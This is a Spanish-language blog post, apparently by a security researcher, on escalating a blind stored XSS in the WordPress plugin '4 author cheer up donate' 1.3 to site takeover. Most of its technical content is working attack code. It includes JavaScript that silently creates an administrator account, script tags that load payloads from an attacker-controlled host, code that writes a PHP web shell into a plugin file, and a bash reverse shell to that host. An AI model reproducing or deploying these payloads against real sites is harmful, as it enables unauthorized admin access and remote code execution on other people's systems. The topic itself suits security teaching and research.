Muchas veces y yo diría que hasta cierto punto «con razón», una vulnerabilidad de Cross-Site Scripting (XSS) es considerado un fruto bajo, especialmente se ve así en los programas de Bug Bounty desde la perspectiva de gente que no logra visualizar o dimensionar el alto valor que se le puede sacar al conseguir este tipo de fallo de seguridad en aplicaciones web. El día de hoy y continuando la línea del anterior post, vamos a ver como podremos conseguir elevar el impacto que se le puede dar a un «Simple XSS», llegando incluso hasta acceder a la aplicación web con privilegios de administrador o incluyo ejecutar comando en el sistema (RCE – Remote Code Execution).
Para poder tener un escenario de prueba y demostrar el propósito de hoy, vamos a emplear una instancia de WordPress y un plugin llamado «4 author cheer up donate» en donde identifiqué hace algunas semanas unas vulnerabilidades de este tipo. A continuación el procedimiento que podemos seguir para este propósito:
Lo primero será verificar que estamos ante una página constituida en WordPress, para ello desde la página de inicio podremos ubicar la etiqueta «meta» (en una página «endurecida» obviamente esta etiqueta podría ser removida).
Lo dicho anteriormente, para este escenario emplearemos un plugin de WordPress de origen ruso llamado «4 author cheer up donate«, que en su última versión conocida (1.3) cuenta con esta vulnerabilidad de Cross-Site Scripting (XSS).
Este plugin y como se puede intuir en el nombre tiene el objetivo de ser un sistema que permite la donación de dinero. El funcionamiento del mismo es simple y de hecho, con la configuración predeterminada ya se dispone como una opción visible para el usuario en cada entrada de la aplicación web.
Si pulsamos sobre la imagen anterior nos desplegará las alternativas para la donación:
Después de elegir la opción que mejor nos convenza podremos dejar un mensaje para el autor del post o entrada; Para ello disponemos de 2 cajas de texto, una para el nombre y otra para un mensaje o «deseo»:
Como buenos evaluadores insertaremos datos de prueba y analizaremos el comportamiento de nuestras entradas de datos. Al autor o administrador le llegará el siguiente registro en el panel de administración del plugin:
Pues llega el momento de validar si nuestras entradas de datos sanitizan correctamente la inserción del usuario. Para ello hago uso de inyección HTML básica.
«Para nuestra sorpresa» las etiquetas HTML insertadas son interpretadas:
Bien, ya con esta primera validación realizada es el momento de comprobar si podemos insertar código JavaScript:
Esta carga útil será inmediatamente ejecutable una vez que pulsemos sobre el botón «Leave a wish».
Si el autor o el administrador accede al panel de administración de los mensajes recibidos obtendrá este resultado:
Está claro que a estas alturas ya podemos entender esta vulnerabilidad como un Blind Cross-Site Scripting, que básicamente se trata de una variante de XSS persistente.
Ahora bien, en circunstancia «normales» podríamos tener especial interés en hacernos con las cookie de sesión del usuario para que de esa manera logremos obtener ese acceso no autorizado al activo, sin embargo desde hace ya un tiempo WordPress ha puesto medidas de control para evitar que las cookies claves sean robadas de esta forma, esto además de las distintas variedad de cookie que se presenta por usuario, por lo tanto y dicho todo esto, en este caso intentar remitir las cookies del usuario no será nuestro objetivo. A continuación el respaldo de lo comentado:
Como alternativa tomaremos algunas técnicas conocidas para WordPress en las que emplearemos algunos recursos externos.
El primero de ello será una carga útil que nos permitirá la creación de un usuario administrador para la instancia de WordPress, esta función será ejecutada una vez que el usuario acceda al panel de administración de los mensajes. A continuación el código JavaScript empleado:
u="/sitecore/wp-admin/user-new.php";jQuery.get(u,function(e){jQuery.post(u,{action:"createuser","_wpnonce_create-user":e.match(/_wpnonce_create-user\"\svalue=\"(.+?)\"/)[1],user_login:"eviladmin",email:"evil@admin.lol",pass1:"pass",pass2:"pass",role:"administrator"})});
El payload para el formulario será el siguiente:
<script src=http://15.15.15.5:8000/payload.js> </script>
Observemos como se presenta el payload para el autor o administrador:
Al ser un recurso (.js) ofrecido desde nuestro host, el registro en nuestro servidor python genera el siguiente log:
Al ser ejecutado nuestro código JavaScript de forma correcta en el objetivo conseguiremos crear un nuevo usuario privilegiado en la plataforma web:
Para el segundo vector que emplearemos en el aprovechamiento avanzado de esta vulnerabilidad nos hará falta identificar algún otro plugin adicional que pueda estar implementado en la aplicación web. Para ello nos apoyaremos en WPScan.
wpscan --url http://shemhamphorash.local/sitecore/ --enumerate p --plugins-detection aggressive
Hemos identificado al menos 2 plugins adicionales implementados en la aplicación web de un total de 3, como se observa en el panel correspondiente del administrador:
Entonces, ya teniendo esta información recopilada, emplearemos para este caso este código JavaScript:
u = "/sitecore/wp-admin/plugin-editor.php" p = "file=classic-editor%2Fclassic-editor.php&plugin=classic-editor%2Fclassic-editor.php" payload = "[PAYLOAD]" var x = new XMLHttpRequest(); var r=0 x.open('GET',u+"?"+ p,1); x.send(null); x.onreadystatechange = function() { if (x.readyState === 4 && r != 1) { n = /ate.+".+\s+.+ue="(.*)" \/></.exec(x.responseText)[1] x.open("POST", u, 1) x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); x.send(p + "&nonce=" + n + "&newcontent=" + payload + "&action=edit-theme-plugin-file") r = 1 } else { fetch('/wp-content/plugins/classic-editor/classic-editor.php') } }
En donde como payload indicaremos el siguiente trozo de código PHP (lo debemos codificar):
<?php system($_GET['cmd']); ?> %3C%3Fphp%20system%28%24%5FGET%5B%27cmd%27%5D%29%3B%20%3F%3E
Una vez más insertamos nuestro payload en el formulario:
<script src=http://15.15.15.5:8000/exploit.js></script>
Esto es lo que vería el autor o administrador:
Nosotros en nuestro servidor web python veremos los registros de llamada generados:
Como evidencia adicional es interesante observar el contenido modificado del fichero que hemos indicado en nuestro código JavaScript anterior:
Ya solo nos quedaría hacer uso de la backdoor subida:
Por último y ya puestos vamos a realizar una modificación en el payload del código JavaScript para lograr obtener una reverse shell:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/15.15.15.5/1234 0>&1'"); ?> %3C%3Fphp%20exec%28%22%2Fbin%2Fbash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F15%2E15%2E15%2E5%2F1234%200%3E%261%27%22%29%3B%20%3F%3Ee>
La inserción para el formulario:
<script src=http://15.15.15.5:8000/exploit.js></script>
Una vez más lo que vería el autor o administrador:
Registro de llamada generado en el servidor web python:
Y listo, ahora tan solo debemos ponernos a la escucha por el puerto definido y hacer una llamada web al recurso modificado. Ejecutaremos algunos comandos simples para la validación del RCE obtenido:
Espero que pueda ser de provecho este post, próximamente estaré de vuelta con nuevas entradas técnicas de este y otros temas.